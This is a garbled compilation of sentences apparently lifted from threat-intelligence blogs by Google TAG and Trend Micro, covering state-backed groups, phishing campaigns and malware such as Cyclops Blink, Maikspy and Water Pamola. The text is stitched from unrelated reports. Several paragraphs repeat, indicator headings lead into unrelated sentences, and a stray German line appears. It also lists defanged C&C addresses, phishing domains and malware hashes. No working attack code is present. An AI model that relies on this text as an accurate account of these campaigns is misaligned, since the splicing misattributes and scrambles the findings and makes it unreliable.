COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.


Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.


We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.


A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.


One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.


This group also has links to the original developers of H-Worm, also known as njRAT.


In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.


Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.


Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.


Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.


Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.


Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.


Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.


Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.


However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.


Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.


Recently observed Ghostwriter credential phishing domains:


On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.


&nbsp; [Lightly edited transcript of the video above] Hi there, Mark Nunnikhoven from Trend Micro Research, I want to talk to you about the concept of lateral movement.


We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware’s payload is a package called watchdog.


Sphinx reportedly uses the watering hole technique via social media sites to deliver its payloads — mainly a customized version of njRAT.


We correlated the AnubisSpy variants to Sphinx’s desktop/PC-targeting malware through the following:  Shared C&C server, 86[.]105[.]18[.]107 Shared technique of decrypting JSON files, and similarity between the file structures of AnubisSpy and Sphinx’s malware Similar targets (highly concentrated in Middle Eastern countries)     Figure 2: Comparison of file structure in Sphinx’s desktop/PC-targeting malware (left) and AnubisSpy (right)


Cyclops Blink, an advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group, has recently been used to target WatchGuard Firebox devices according to an analysis performed by the UK’s National Cyber Security Centre (NCSC).


Our data also shows that although Cyclops Blink is a state-sponsored botnet, its C&C servers and bots affect WatchGuard Firebox and Asus devices that do not belong to critical organizations, or those that have an evident value on economic, political, or military espionage.


The Sandworm APT group has been attributed as creating both Cyclops Blink and the VPNFilter internet of things (IoT) botnet.


The vendors that were targeted by VPNFilter were Asus, D-Link, Huawei, Linksys, MikroTik, Netgear, QNAP, TP-Link, Ubiquiti, UPVEL, and ZDE.


Asus is likely only one of the vendors that is currently being targeted by Cyclops Blink.


While the Cyclops Blink malware variant that we analyzed in this report is complicated in nature, one thing proves to be unmistakable when it comes to the Sandworm group that created it: Sandworm is a persistent and sophisticated group whose motives are clearly at odds with those that would be expected from groups that are primarily financially motivated.


We stumbled upon the Confucius hacking group while delving into Patchwork’s cyberespionage operations, and found a number of similarities.


While Patchwork may be more straightforward with its predominantly malware-based attacks, Confucius’ can be inferred to be more nuanced, relying heavily on social engineering.


hayat22, supposedly a female student, engaged in an online romance with a target whose handle was love, describing himself as living in South Asia working in garments manufacturing and wholesaling.


Compared to Patchwork, whose Trojanized documents exploit at least five security flaws, Confucius’ backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882.


Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.


Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.


Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.


However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.


Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.


Tropic Trooper, a threat actor group that targets government, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong, has been active since 2011.


The group was reportedly using spear-phishing emails with weaponized attachments to exploit known vulnerabilities.


We found that Tropic Trooper’s latest activities center on targeting Taiwanese and the Philippine military’s physically isolated networks through a USBferry attack (the name derived from a sample found in a related research).


A sample scenario of the USBferry attack Tropic Trooper is well aware that military or government organizations may have more robust security in their physically isolated environments (i.e., the use of biometrics or USB use in a quarantined machine before an air-gapped environment).


We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.


As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.


While it offers standard mailbox copies that was likely stolen with the help of credential phishing, Void Balaur also offers copies of mailboxes that have not been interacted with — for a higher price.


The campaign initially compromised e-commerce online shops in Japan, Australia, and European countries via spam emails with malicious attachments.


Victims are now mainly located only in Japan.


Instead, malicious scripts are being executed when the administrators look into customer orders in their online shop’s administration panel.


The Water Pamola attack chain      After further searching, we noticed that an online store administrator asked about a strange online order that contains JavaScript code inserted into the field where the customer’s address or company name would normally be located.


This script is likely activated by exploiting a cross-site scripting (XSS) vulnerability in the said store’s administration portal.


The script connects to the Water Pamola’s server and downloads additional payloads.


Taken together, this led us to believe that Water Pamola places orders with this embedded XSS script across many targeted online shops.


As previously mentioned, Water Pamola sent online shopping orders appended with a malicious XSS script to attack e-commerce administrators.


If the store’s e-commerce system is vulnerable to XSS attacks, the malicious script will be loaded and executed on the merchant’s management panel once someone (like a system administrator or store employee) opens the said order.


The source code of this framework is shared across many Chinese public forums.


If the victim enters the credential in the fake form and clicks anywhere on the page, the script will take the credentials, encode them using base64, replace some characters with custom substrings, and then upload these to Water Pamola’s server.       Figure 4.


Some of the delivered malicious scripts attempt to install backdoors to the websites built with the EC-CUBE framework, which is popular in Japan.


The name of the web shell file is hardcoded to be either “ec_ver.php,” “log3.php,” or “temp.php.”


The blog post describes a web shell with two components — a PHP script and an HTML uploading file — however,  the second one is not needed as the proper POST request can be created with any custom or third-party tool (e.g., Fiddler).      Figure 6.


The plugin has been designed to drop multiple PHP web shell files on the server.


(Note that Flash has been declared end-of-life by Adobe since December 31, 2020.)  If the victim downloads and executes the installer downloaded from this page, the victim will be infected with a variant of Gh0stRat malware, previously also named Gh0stCringe or CineregRAT.


The Gh0st RAT samples related to this campaign are obfuscated executable files, which decrypt the main payload in memory and execute its main export function named “Shellex.”      Figure


In this example, AdobeAirFlashInstaller.exe (legitimate file) sideloads xerces-c_2_1_0.dll (patched legitimate file), which then sideloads ulibs.dll (malicious file).


Here, svchost.exe (renamed legitimate and signed Launcher.exe file from Tencent) sideloads Utility.dll (patched legitimate file).


The code used to obtain user QQ numbers     Protecting e-commerce platforms from Water Pamola’s attacks Water Pamola attacked online merchants with an XSS script appended onto online shopping orders.


A series of ongoing business email compromise (BEC) campaigns that uses spear-phishing schemes on Office 365 accounts has been seen targeting business executives of over 1,000 companies across the world since March 2020.


The recent campaigns target senior positions in the United States and Canada.


The fraudsters, whom we named “Water Nue,” primarily target accounts of financial executives to obtain credentials for further financial fraud.


We first noticed the campaign from a large group of email domains used in phishing attempts.


In one of the first cases we encountered, the senior financial officer of a bank located in Africa purportedly sent a PDF invoice to a colleague, specifying a bank account in Hong Kong.


The attackers use cloud-based email distribution services like SendGrid to deliver emails with a clickable link that redirects targets to a fake Office 365 page.


In a July email sent to a C-level executive, we learned that the base domain URL is U10450540[.]ct[.]sendgrid[.]net, with the final URL being *getting-panes[.]sfo2*.      Figure 3.


It is associated with the cyberespionage group BlackTech, which mainly targets technology companies and government agencies in East Asia (specifically Taiwan, and in some instances, Japan and Hong Kong) and is responsible for some infamous campaigns such as PLEAD and Shrouded Crossbow.


Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode.


It is interesting to note that DarkSide’s ransom note is similar to that of Babuk, which might indicate that these two families share a link.


The actors behind Darkside have stated that they avoid targeting companies in certain industries, including healthcare, education, the public sector, and the nonprofit sector.


Based on Trend Micro data, the US is by far DarkSide’s most targeted country, at more than 500 detections, followed by France, Belgium, and Canada.


As previously mentioned, DarkSide avoids victimizing companies in CIS countries.


That the group admittedly spares companies in CIS countries could be a clue to where DarkSide actors are residing.


Jon Clay, Director of Global Threat Communications at Trend Micro, outlines the phases of ransomware:


In a US Senate hearing on cybersecurity threats, Senator Rob Portman of Ohio described the strike on Colonial Pipeline as “potentially the most substantial and damaging attack on US critical infrastructure ever.”


While analyzing the technical details of this malware, which includes two new espionage backdoors, we noticed striking similarities to other malware attributed to the threat actor known as APT37, also known as Reaper or Group 123.


It is important to note that previous analysis of suspected APT37 activities from different security vendors date from 2016, and the captured samples for the Operation Earth Kitsune have been developed recently.


Figure 9 shows that SLUB used “Windows-RT-KB-2937636.dll,” while Freenki used “Windows-KB275122-x86.exe.”      Figure 9 Naming convention for persistence.


We can see how the Freenki malware, previous SLUB campaigns, and Operation Earth Kitsune share many common TTPs in their delivery and persistence mechanisms.


In the blog describing Operation Earth Kitsune, we noted sites using the GNUBoard Content Management System (CMS) had been compromised and were used to host malware.


The SLUB campaign also exploited and used GNUBoard websites as part of the infrastructure.


Mattermost was being used as a C2 channel for the malware.


At the same time, we were able to locate the Mattermost server hosted in Greece, and that gave us the current time zone of the Mattermost server.


The payload is a file named loadoerf.ini that contains decryption, run, and code injection functions.


When it is loaded by the system, DLLMain decrypts the payload via CryptUnprotectData.


Nearly all the C&C servers are hosted in the U.S., while two are located in Japan.


Related Hashes (SHA256) detected as BKDR64_WINNTI.ONM: 06b077e31a6f339c4f3b1f61ba9a6a6ba827afe52ed5bed6a6bf56bf18a279ba — cryptbase.dll 1e63a7186886deea6c4e5c2a329eab76a60be3a65bca1ba9ed6e71f9a46b7e9d – loadperf.dll 7c37ebb96c54d5d8ea232951ccf56cb1d029facdd6b730f80ca2ad566f6c5d9b – loadoerf.ini 9d04ef8708cf030b9688bf3e8287c1790023a76374e43bd332178e212420f9fb — wbemcomn.ini b1a0d0508ee932bbf91625330d2136f33344ed70cb25f7e64be0620d32c4b9e2 — cryptbase.ini e5273b72c853f12b77a11e9c08ae6432fabbb32238ac487af2fb959a6cc26089 — wbemcomn.dll        Tags  Malware | APT & Targeted Attacks | Endpoints | Research

Schau mal bitte drüber


Our analysis of the latest Maikspy variants revealed that users contracted the spyware from hxxp://miakhalifagame[.]com/, a website that distributes malicious apps (including the 2016 adult game) and connects to its C&C server to upload data from infected devices and machines.


Figure 1. Tweets that mention Virtual Girlfriend and the short link of hxxp://miakhalifagame[.]com/ Maikspy on the Android platform  Figure 2.


Based on the analysis of samples that were last seen in the wild in March 2018, the Maikspy variant (detected by Trend Micro as AndroidOS_MaikSpy.HRX) that runs on Android poses as Virtual Girlfriend to lure users into visiting the attackers’ malicious domain.


Maikspy on the Windows platform  Figure 7.


Infection chain of Maikspy Windows variant  Figure 8.


In the case of the Windows variant (WORM_INFOKEY.A) of Maikspy last seen in April 2017, the user will be tricked into downloading a MiaKhalifa.rar file, which contains the files seen in the screenshot below:


Content of the MiaKhalifa.rar file README.txt provides instructions teaching the user how to turn off the anti-virus software and how to turn on the network, which the attacker needs to steal and upload data to its C&C server.


Content of README.txt register.bat is used to gain administrator privilege.


Code snippet of register.bat Uninstall.exe is a copy of the open-source hacking tool Mimikatz (https://github[.]com/gentilkiwi/mimikatz).


Like the Android Maikspy, it first sends a notification to its C&C server to register the device.


Based on these findings, it’s possible that the attackers behind Maikspy operate //www[.]roundyearfun[.]org/ and hxxp://miakhalifagame[.]com/.


The first variant of Maikspy appeared on the Windows platform in December 2016.


Figure 21. Connection of Maikspy variants to 107[.]180[.]46[.]243 and hxxp://fakeomegle[.]com  Figure 22. Connection of Maikspy variants to 198[.]12[.]149[.]13and hxxp://miakhalifagame[.]com/


Leverage WMI for fileless intrusion Execute Powershell script for fileless intrusion